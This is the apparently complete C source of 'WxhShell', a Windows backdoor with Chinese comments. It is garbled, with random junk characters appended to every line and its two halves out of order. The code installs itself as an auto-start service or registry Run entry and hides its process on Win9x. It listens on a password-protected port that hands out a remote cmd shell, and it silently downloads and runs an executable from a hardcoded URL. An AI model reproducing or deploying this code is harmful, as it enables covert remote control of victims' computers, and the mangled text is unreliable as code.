    if(Boot(SHUTDOWN)) ^\{J5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?' H[2]w"  
    else { &/DOO ^  
    closesocket(wsh); jQs*(=ls  
    ExitThread(0); 1W0.Ufl)  
    } sSy$(%  
    break; >\&= [C  
    } NkoofhZ  
  // 获取shell W/a,.M  
  case 's': { 7 y>(H<^>  
    CmdShell(wsh); +i4P,Lp  
    closesocket(wsh); $>(9~Yh0  
    ExitThread(0); G V=OKf#  
    break; Md?acWE*L  
  } /khnl9~+  
  // 退出 uYabJqV  
  case 'x': { ]'6'<S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K7S754m  
    CloseIt(wsh); ysl8LK   
    break; i.F8  
    } ]qMH=>pOsj  
  // 离开 )*Vj3Jx  
  case 'q': { Eh {up  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *F|i&2  
    closesocket(wsh); /Go>5 B>  
    WSACleanup(); f!EOYowW  
    exit(1); avV mY|I  
    break; wn{]#n=|l  
        } InP[yFV-z  
  } ~@?"' !U  
  } _~:j3=1&n  
/[6:LnaE  
  // 提示信息 [~!.a\[RW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,5=kDw2  
} q _19&;&  
  } Yu1QcFuy  
cNx \&vpd  
  return; V*>73I  
} {dZ!I  
t(wZiK}  
// shell模块句柄 OCwW@OC +  
int CmdShell(SOCKET sock) qT"drgpi3  
{ R/ Tj^lM  
STARTUPINFO si; cB_pyX9Z  
ZeroMemory(&si,sizeof(si)); :wSJ-\'$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x<Iy<v7-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uvR0TIF4  
PROCESS_INFORMATION ProcessInfo; gj[z ka0_  
char cmdline[]="cmd"; F:M/z#:~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n$IWoIdbGN  
  return 0; *&h6*zP?  
} nrI"k2oA@  
+< GrRYbC  
// 自身启动模式 avmcGyL  
int StartFromService(void) ]&' jP  
{ ZMP?'0h=  
typedef struct mn(/E/  
{ FLK"|*A  
  DWORD ExitStatus; ?ISI[hoc  
  DWORD PebBaseAddress; "k/;`eAP  
  DWORD AffinityMask; v*smI7aH  
  DWORD BasePriority; "IOC[#&G  
  ULONG UniqueProcessId; )nJzSN=>$  
  ULONG InheritedFromUniqueProcessId; 1bT' u5&  
}   PROCESS_BASIC_INFORMATION; U.Pa7tn  
D xe-XKNc.  
PROCNTQSIP NtQueryInformationProcess; -|6V}wHg~  
KBd7|,j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !NIL pimi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .mC~Ry+t  
CQj/e+eE4  
  HANDLE             hProcess; x`Vy<h 33  
  PROCESS_BASIC_INFORMATION pbi; 4u@yJ?U  
(6e!09P&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =VCi8jDkP  
  if(NULL == hInst ) return 0; /]pX8 d  
_RN/7\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ) )fDOJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dko[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZYrKG+fkl  
Ewa[Y=+tx  
  if (!NtQueryInformationProcess) return 0; "9)1K!tH  
Gs^(YGtU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UENYJ*tnP  
  if(!hProcess) return 0; jQY >9+t  
-[G/2F'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [[#xES21F  
37%`P \O;s  
  CloseHandle(hProcess); >|v=Ba6R0  
eL>K2Jxq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z'voCWCd  
if(hProcess==NULL) return 0; 5Xp$ yX =  
8W(<q|t  
HMODULE hMod; w g$D@E7  
char procName[255]; V;M3z9xd  
unsigned long cbNeeded; l :f9Ih  
rdORNlK&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s 4MNVT  
'hxs((['\  
  CloseHandle(hProcess); (3)C_Z  
'=KuJ0`nE9  
if(strstr(procName,"services")) return 1; // 以服务启动 Wpiv1GZ%c8  
HR/k{"8W4Q  
  return 0; // 注册表启动 |U8>:DEl  
} 6lB{Ao?|  
{KF7j63  
// 主模块 nL 1IS  
int StartWxhshell(LPSTR lpCmdLine) .t"n]X i  
{ >l7eoj  
  SOCKET wsl; P&qy.0  
BOOL val=TRUE; \DG( 8l  
  int port=0; Yt\E/*%  
  struct sockaddr_in door; YR$tPe  
.d<~a1k  
  if(wscfg.ws_autoins) Install(); -0=}|$H.  
FCsyKdM  
port=atoi(lpCmdLine); DR.3 J`?K  
nEjo,   
if(port<=0) port=wscfg.ws_port; aL_;`@4  
?AqrlR]5  
  WSADATA data; j<. <S {  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7AZ5%o  
6Y0/i,d*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?7rmwy\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {jj]K.&  
  door.sin_family = AF_INET; O[i2A (  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y?"v2~;3  
  door.sin_port = htons(port); fY| @{]rx  
KUl Zk^a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , V0iMq  
closesocket(wsl); K8yWg\K  
return 1; TMnT#ypf<5  
} umq$4}T '$  
z{ Zimr  
  if(listen(wsl,2) == INVALID_SOCKET) { Qs#9X=6e@  
closesocket(wsl); $i1>?pb3  
return 1; Hl4vLx@  
} &F@tmM~  
  Wxhshell(wsl); (hD X4;4  
  WSACleanup(); e#76h;  
-jcrXskb&N  
return 0; "6|'& 6&  
OF<[Nh\.  
} -y7l?N5F>  
ex;Y n{4  
// 以NT服务方式启动 s+OvS9et_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LaAgoarN  
{ .HH,l  
DWORD   status = 0; S4@117z5  
  DWORD   specificError = 0xfffffff; ~|$) 1  
MSxU>FX0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xc3Ov9`8%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %j 9vX$Hj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7;$L&X  
  serviceStatus.dwWin32ExitCode     = 0; bUipp\[aV  
  serviceStatus.dwServiceSpecificExitCode = 0; HbJadOK  
  serviceStatus.dwCheckPoint       = 0; 8yJk81 gY  
  serviceStatus.dwWaitHint       = 0; .{-iq(3  
+#i,87  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); il`C,CD  
  if (hServiceStatusHandle==0) return; +E""8kW- Z  
LiHXWi{s  
status = GetLastError(); r`mzsO-'  
  if (status!=NO_ERROR) +ik N) D  
{ b_)QBE9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {4V:[*3  
    serviceStatus.dwCheckPoint       = 0; (<5'ceF )X  
    serviceStatus.dwWaitHint       = 0; B8BY3~}]  
    serviceStatus.dwWin32ExitCode     = status; ]%ZjD  
    serviceStatus.dwServiceSpecificExitCode = specificError; $AL|d[[T[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )nbyV a  
    return; Z;dwn~Tw  
  } rsq'60  
T^f&58{ 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ] BP^.N=  
  serviceStatus.dwCheckPoint       = 0; 2yVGE p^  
  serviceStatus.dwWaitHint       = 0; [8om9 Z3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0zq\ j  
} =:0IHyB#0  
ej??j<]  
// 处理NT服务事件,比如:启动、停止 G%W03c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4^jZv$l5  
{ S quqaX+<  
switch(fdwControl) ~k:>Xo[|O  
{ m-pIFL<^N  
case SERVICE_CONTROL_STOP: % 'L=  
  serviceStatus.dwWin32ExitCode = 0; vp9E}ga  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C9^elcdv  
  serviceStatus.dwCheckPoint   = 0; ) Sh;UW  
  serviceStatus.dwWaitHint     = 0; Qg8eq_m(  
  { U%S NROj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O.m.]%URW  
  } k%bTs+] *  
  return; (HP={MrV  
case SERVICE_CONTROL_PAUSE: "p_[A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5"Xo R)  
  break; 9BgQ oK@  
case SERVICE_CONTROL_CONTINUE: rqG6Ll`=+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7zOvoQ}  
  break; U]R|ej  
case SERVICE_CONTROL_INTERROGATE: _ jM6ej<  
  break; fSb@7L  
}; ^,\se9=(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H"Em|LX^  
} :fMM-?s]  
tI(t%~>^  
// 标准应用程序主函数 4 9+}OIX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =K&q;;h  
{ &b#NF1Q.  
i~M.F=I5  
// 获取操作系统版本 {UjIxV(J  
OsIsNt=GetOsVer(); jind!@}!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,hcBiL/  
?)ZLxLV::  
  // 从命令行安装 ,\">ovV33  
  if(strpbrk(lpCmdLine,"iI")) Install(); k? _$h<Y  
;:K?7wfXn  
  // 下载执行文件 BtDgv.;GH  
if(wscfg.ws_downexe) { HoQ(1e$G-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8B(Q7Qj  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?eZ"UGZg'  
} boHm1hPKS  
8C4@V[sm`  
if(!OsIsNt) { B\~3p4S  
// 如果时win9x,隐藏进程并且设置为注册表启动 =?QQb>  
HideProc(); m~\m"zJ4  
StartWxhshell(lpCmdLine); Uu<sntyv  
} Pp")hFx  
else Szob_IEq,  
  if(StartFromService()) RI].LB_  
  // 以服务方式启动 A 5\"e^>  
  StartServiceCtrlDispatcher(DispatchTable); L?pvz}  
else gcY~_'&u  
  // 普通方式启动 <GU(/S!}  
  StartWxhshell(lpCmdLine); [_z2z6  
=I*ZOE3n  
return 0; B?>#cpW j  
} P<w>1 =  
E9NGdp&-Ah  
mm~o%1|WR  
7B>cmi  
=========================================== pLFL6\{g  
@;-Un/'C;7  
b+fy&rk@-  
>Sl:Z ,g;  
r_2VExk  
~ 8qFM  
" 7.=s1~p  
"B{xC}Tw  
#include <stdio.h> z K]%qv]  
#include <string.h> +vY`?k`  
#include <windows.h> jYssz4)tp  
#include <winsock2.h> QrRCsy70  
#include <winsvc.h> (inwKRH  
#include <urlmon.h> v6(l#,  
gl4 f9Ff  
#pragma comment (lib, "Ws2_32.lib") )e$-B]>7z  
#pragma comment (lib, "urlmon.lib") `rFGSq$9  
bqLYF[#T  
#define MAX_USER   100 // 最大客户端连接数 qQ\hUii  
#define BUF_SOCK   200 // sock buffer CMB$RLf  
#define KEY_BUFF   255 // 输入 buffer *v-xC5L1\  
o]k]pNO  
#define REBOOT     0   // 重启 3xR#,22:}  
#define SHUTDOWN   1   // 关机 H<3b+Sg  
9U%}"uE  
#define DEF_PORT   5000 // 监听端口 BJ;cF"Kp  
T%xL=STJNy  
#define REG_LEN     16   // 注册表键长度 !)1Zp*  
#define SVC_LEN     80   // NT服务名长度 >@\?\!Go  
e(5Px!B  
// 从dll定义API krT!AfeV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dtXJ<1:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dEl3?~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )HiTYV)]'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nWg)zj:  
GeR -k9  
// wxhshell配置信息 9!<3qx/  
struct WSCFG { 3). c [F^l  
  int ws_port;         // 监听端口 IOsDVIXL\  
  char ws_passstr[REG_LEN]; // 口令 t ,Rn  
  int ws_autoins;       // 安装标记, 1=yes 0=no G@6,O-Sj  
  char ws_regname[REG_LEN]; // 注册表键名 Wam?(!{mOf  
  char ws_svcname[REG_LEN]; // 服务名 i]Of<eQ"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (4gQe6tA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o%s}jBo}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Qu^{o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R-0Ohj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J;9QDrl`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `9NnL.w!  
I ywx1ac  
}; GOgT(.5  
 PW\FcT  
// default Wxhshell configuration V)?g4M3}  
struct WSCFG wscfg={DEF_PORT, i(#c Yb  
    "xuhuanlingzhe", rm;"98~zJ?  
    1, H%jIjf  
    "Wxhshell", 4E94W,1%,Y  
    "Wxhshell", LPgI"6cP  
            "WxhShell Service", = nN*9HRD  
    "Wrsky Windows CmdShell Service", |xC TX  
    "Please Input Your Password: ", X64I~*  
  1, Rs`Y'_B  
  "http://www.wrsky.com/wxhshell.exe", [~0q )  
  "Wxhshell.exe" f*@:{2I.v  
    }; Z1}zf( JU  
<W{0@?y  
// 消息定义模块 "+Yn;9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YR`rg;n#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F#R\Ot,hv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  K8we*  
char *msg_ws_ext="\n\rExit."; soCHwiE  
char *msg_ws_end="\n\rQuit."; _ o3}Ly}  
char *msg_ws_boot="\n\rReboot..."; c.> (/  
char *msg_ws_poff="\n\rShutdown..."; fXQRsL8 ]  
char *msg_ws_down="\n\rSave to "; "C|l3X'  
CzbNG^+  
char *msg_ws_err="\n\rErr!"; +u)$o  
char *msg_ws_ok="\n\rOK!"; PA[Rhoit,  
L-TVe  
char ExeFile[MAX_PATH]; 'Z9F0l"Nr  
int nUser = 0; Y3&ecEE  
HANDLE handles[MAX_USER]; 73<yrBxp  
int OsIsNt;  `a9>4  
U Bg_b?k  
SERVICE_STATUS       serviceStatus; *a.*Ha  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |a\TUzq  
WHT%m|yn  
// 函数声明 \C.@ @4{  
int Install(void); tS@/Bq('B  
int Uninstall(void); D'+8]B  
int DownloadFile(char *sURL, SOCKET wsh); >C66X?0cd  
int Boot(int flag); {NDe9V5  
void HideProc(void); h0pr"]sO;$  
int GetOsVer(void); S?tLIi/  
int Wxhshell(SOCKET wsl); Ku'U^=bVm:  
void TalkWithClient(void *cs); SHh(ujz,  
int CmdShell(SOCKET sock); X"GQ^]$O  
int StartFromService(void); Hvk?(\x  
int StartWxhshell(LPSTR lpCmdLine); QyQ8M1m  
w\4m -Z{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !X_~|5.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e@By@r&nql  
~(S4/d5  
// 数据结构和表定义 "|rqt.f2[  
SERVICE_TABLE_ENTRY DispatchTable[] = U]$3NIe  
{ boon =;{p  
{wscfg.ws_svcname, NTServiceMain}, u'."E7o#  
{NULL, NULL} GC3L2C0)k  
}; 8B9zo&  
#{1fb%L{i  
// 自我安装 .9 QQ]fLs  
int Install(void) %q^]./3p  
{ EC/R|\d?Un  
  char svExeFile[MAX_PATH]; xnOlV  
  HKEY key; [J Xrj{  
  strcpy(svExeFile,ExeFile); 9m!fW|4  
tsD^8~ t|h  
// 如果是win9x系统,修改注册表设为自启动 55\mQ|.Jn  
if(!OsIsNt) { .@V>p6MV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B:.rp.1   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a QFHB!  
  RegCloseKey(key);  p-kqX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -GjJrYOU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S\(_"xJPp  
  RegCloseKey(key); _Ohq'ZgXm  
  return 0; r1] e:  
    } @xE Q<g  
  } J>35q'nN]F  
} :P~Owz  
else { 7a net  
w (1a{m?ht  
// 如果是NT以上系统,安装为系统服务 >d\I*"C+d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kvn6 NiU  
if (schSCManager!=0) ks$G6WC  
{ P $S P4F  
  SC_HANDLE schService = CreateService IF1}}[Ht  
  ( k"$V O+}m  
  schSCManager, tAUMSr|?  
  wscfg.ws_svcname, nc)`ISI  
  wscfg.ws_svcdisp, H_^c K  
  SERVICE_ALL_ACCESS, 7O#>N}|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R2@u[  
  SERVICE_AUTO_START, a6_`V;  
  SERVICE_ERROR_NORMAL, ' iK0Wr  
  svExeFile, uip]K{/A!e  
  NULL, 1,,-R*x  
  NULL, =UY@,*q:c  
  NULL, `0F IJT  
  NULL, yM@cml6Ox  
  NULL mr? ii  
  ); X*Zv,Wm  
  if (schService!=0) $)!Z"2T  
  { r^)<Jy0|r  
  CloseServiceHandle(schService); =B1!em|  
  CloseServiceHandle(schSCManager); clNP9{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jC%I]#!n  
  strcat(svExeFile,wscfg.ws_svcname); ! ZEKvW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /_\4( vvf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /Y:Zqk3  
  RegCloseKey(key); q-#fuD^  
  return 0; p(Mv^ea  
    } ;f Gi5=-  
  } 3Daq5(fLP  
  CloseServiceHandle(schSCManager); xmDwoLU  
} m`~ Qr~  
} &0ra a  
Ai;Pht9qi  
return 1; _1ins;c52  
} Qs a2iw{  
\z 'noc  
// 自我卸载 1Jt%I'C?  
int Uninstall(void) $.Ni'U  
{ szHUHW~;J  
  HKEY key; 4~4Hst#^  
F<[8!^l(z  
if(!OsIsNt) { n^K]R}S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %~~QXH\  
  RegDeleteValue(key,wscfg.ws_regname); .@'Vz;&mQ  
  RegCloseKey(key); m\yO/9{h1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rGs> {-T3  
  RegDeleteValue(key,wscfg.ws_regname); 7+"X ^$  
  RegCloseKey(key); H@zpw1fH+  
  return 0; U!4 ^;  
  } /_P`xm+=AC  
} 0U'r ia:$  
} <,{v>vlw  
else { R[QE:#hT  
rk|6!kry  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jolCR-FDu  
if (schSCManager!=0) <Vim\  
{ ]+AI:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $1e@3mzM  
  if (schService!=0) H\T h4teE  
  { <IYt*vlm  
  if(DeleteService(schService)!=0) { 4.8,&{w<m  
  CloseServiceHandle(schService); 0^=S:~G  
  CloseServiceHandle(schSCManager); #qWEyb2UZ  
  return 0; 0:*$i(2  
  } lk80)sTZ  
  CloseServiceHandle(schService); hY!G>d{J  
  } MEu-lM7v  
  CloseServiceHandle(schSCManager); KGIz)/eSg  
} [ LCi,  
} m<E7cY3mX  
&m`  
return 1; =GF+hM/~  
} deNU[  
4{|lzo'&  
// 从指定url下载文件 GCrN:+E0FJ  
int DownloadFile(char *sURL, SOCKET wsh) N`M5`=.  
{ x K/`XY  
  HRESULT hr; wgrYZ^]  
char seps[]= "/"; rO NLbrj  
char *token; T*oH tpFj#  
char *file; aD4ln]sFxG  
char myURL[MAX_PATH]; #r1x0s40D  
char myFILE[MAX_PATH]; gU`QW_{  
9} vWTt0  
strcpy(myURL,sURL); zMa`olTZ  
  token=strtok(myURL,seps); ` F)Iv:;y,  
  while(token!=NULL) [f'7/w+  
  { =Zj9F1E[i  
    file=token; @:Ns`+ W*  
  token=strtok(NULL,seps); Th8xh=F[  
  } ;RU)Q)a)  
thh, V   
GetCurrentDirectory(MAX_PATH,myFILE); ?F-,4Ox{/  
strcat(myFILE, "\\"); [-l^,,E  
strcat(myFILE, file); Uc4r  
  send(wsh,myFILE,strlen(myFILE),0); J(Bn  n  
send(wsh,"...",3,0); '&"7(8E} *  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m'pihFR:f  
  if(hr==S_OK) \ .:CL?m#  
return 0; 4ngiad6bR  
else Ct B> s7  
return 1; g$A1*<+  
W?@ ;(k  
} RKe19l_V  
E(TY%wO  
// 系统电源模块 b`^$2RM&  
int Boot(int flag) ?f%@8%px  
{ (k[<>$hL*  
  HANDLE hToken; eN/Jb;W  
  TOKEN_PRIVILEGES tkp; @-hy:th#  
r@_;L>  
  if(OsIsNt) { 8'zwy d3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c6e?)(V>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LE7o[<>  
    tkp.PrivilegeCount = 1; C. Sb4i*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l!oU9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y$(G)Fs  
if(flag==REBOOT) { 1Ao"DxZHy7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f`?|A  
  return 0; *6uiOtH  
} Q[}mH: w  
else { tvd/Y|bV=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~WVrtYJu  
  return 0; }b1P!xb!A  
} 0py0zE6,,  
  } 7Q^t(  
  else { A0'Yfuie  
if(flag==REBOOT) { RNm/&F1C$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NWTsL OIm  
  return 0; akaQ6DIdG  
} ~V(WD;Mk  
else { Jr#ptf"Wu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r| YuHm  
  return 0; A6-JV8^  
} eQMY3/#  
} T,k`WR  
3Y>!e#  
return 1;  M*%iMz  
} :[,n`0lH  
1 ,Y-_e)  
// win9x进程隐藏模块 %h3CQk  
void HideProc(void) d6wsT\S  
{ -(~CZ  
\  VJ3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rs7=v2>I  
  if ( hKernel != NULL ) &d=j_9   
  { ~fEgrF d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c}lUP(Ss  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F?TAyD*  
    FreeLibrary(hKernel); 5_{C \S`T  
  } wQDKv'zU1  
1)H+iN|im/  
return; {i3]3V"Xp  
} LY/K ,6^a  
/z`LB  
// 获取操作系统版本 zuXJf+]  
int GetOsVer(void) UP^{'eh  
{ nCJ)=P.d  
  OSVERSIONINFO winfo; G,%R`Xns  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G|v{[>tr  
  GetVersionEx(&winfo); rD fUTfv|Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~gmj /PQ0  
  return 1; ^lf{IM-Y  
  else X& pK#=  
  return 0; Q % )fuI  
} fC52nK&T8  
3 rV)JA  
// 客户端句柄模块 /{^Qup  
int Wxhshell(SOCKET wsl) WL+I)n8~  
{ pvD\E  
  SOCKET wsh; _5y3<H<?  
  struct sockaddr_in client; U)o(}:5xF  
  DWORD myID; ?x=;?7  
C8%q?.nH=  
  while(nUser<MAX_USER) Ak^g#^c*  
{ ):31!IC  
  int nSize=sizeof(client); b+9M? k"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I 4 ,C-D  
  if(wsh==INVALID_SOCKET) return 1; L slI!.(  
:[?hU}9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?V3e;n  
if(handles[nUser]==0) QJjqtOf>  
  closesocket(wsh); h%9#~gJ})  
else ZG"_M@S.  
  nUser++; 5L'X3g  
  } t3 2 FNg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +QGZ2_vW  
M<4~ewWJ  
  return 0; 7X*$Fu<  
} tU.Y$%4  
7='lu;=,  
// 关闭 socket V'K1kYb  
void CloseIt(SOCKET wsh) := C-P7  
{ <!Ed ND=  
closesocket(wsh); Z.ky=vCt  
nUser--; #41~`vq3  
ExitThread(0); IC"bg<L,*  
} l03{ ezJk[  
HN]roSt~  
// 客户端请求句柄 EIPNR:6t  
void TalkWithClient(void *cs) j}ywdP`a  
{ Q$^oIFb  
w3WBgH  
  SOCKET wsh=(SOCKET)cs; slaYr`u  
  char pwd[SVC_LEN]; ,4M7:=gf  
  char cmd[KEY_BUFF]; bz<f u  
char chr[1]; <F{EZ Ii  
int i,j; @ (<C{  
B+:/!_  
  while (nUser < MAX_USER) { ZF^$?;'3  
@8{-B;   
if(wscfg.ws_passstr) { jgNdcP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8lk@ev=O&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uxLT*,  
  //ZeroMemory(pwd,KEY_BUFF); #eadkj #;  
      i=0; xkV(E!O  
  while(i<SVC_LEN) { ~-ZquJ-  
^YiGvZJ  
  // 设置超时 p8,Rr{  
  fd_set FdRead; w+($= n~  
  struct timeval TimeOut; 0N>NX?r  
  FD_ZERO(&FdRead); 0h=NbLr|S-  
  FD_SET(wsh,&FdRead); c&me=WD  
  TimeOut.tv_sec=8; z-ns@y(f@X  
  TimeOut.tv_usec=0; &m[ZpJ9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^,O%E;g^#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &y_Ya%Z3*e  
X?whyD)vE@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2t 7':X  
  pwd=chr[0]; XT+V> H I  
  if(chr[0]==0xd || chr[0]==0xa) { 89hV{^  
  pwd=0; i7D[5!  
  break; wr>[Eo@%\  
  } AH-B/c5  
  i++; ]t0]fb[J  
    } o?5m^S14[1  
W'lejOiw  
  // 如果是非法用户,关闭 socket ~j3O0s<gK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _[F(8Q x"  
} &Z'3n9zl  
S7a05NO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ISa}Km>Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =`<9N %  
BPO)<bx_  
while(1) { :`Kv\w.  
X6 E^5m  
  ZeroMemory(cmd,KEY_BUFF); r c++c,=  
Ql>bsr}  
      // 自动支持客户端 telnet标准   9B3+$uP  
  j=0; tBU n KPT  
  while(j<KEY_BUFF) { %vn"tp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KEfN!6  
  cmd[j]=chr[0]; Uzh#z eZ`<  
  if(chr[0]==0xa || chr[0]==0xd) { Z;/QB6|%  
  cmd[j]=0; Y]!WPJ`f2  
  break; zD^*->`p  
  } Aq 5CF`e{  
  j++; BN7]u5\7  
    } <8)cr0~zy>  
Rp^fY_  
  // 下载文件 V_\9t8  
  if(strstr(cmd,"http://")) { POXd,ON9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xQUskjv/  
  if(DownloadFile(cmd,wsh)) rF?gKk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O, .c gX   
  else 'Nkd *  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -XASS%  
  } ,{6 Vf|?  
  else { 5nV IC3N+1  
M:M"7>:  
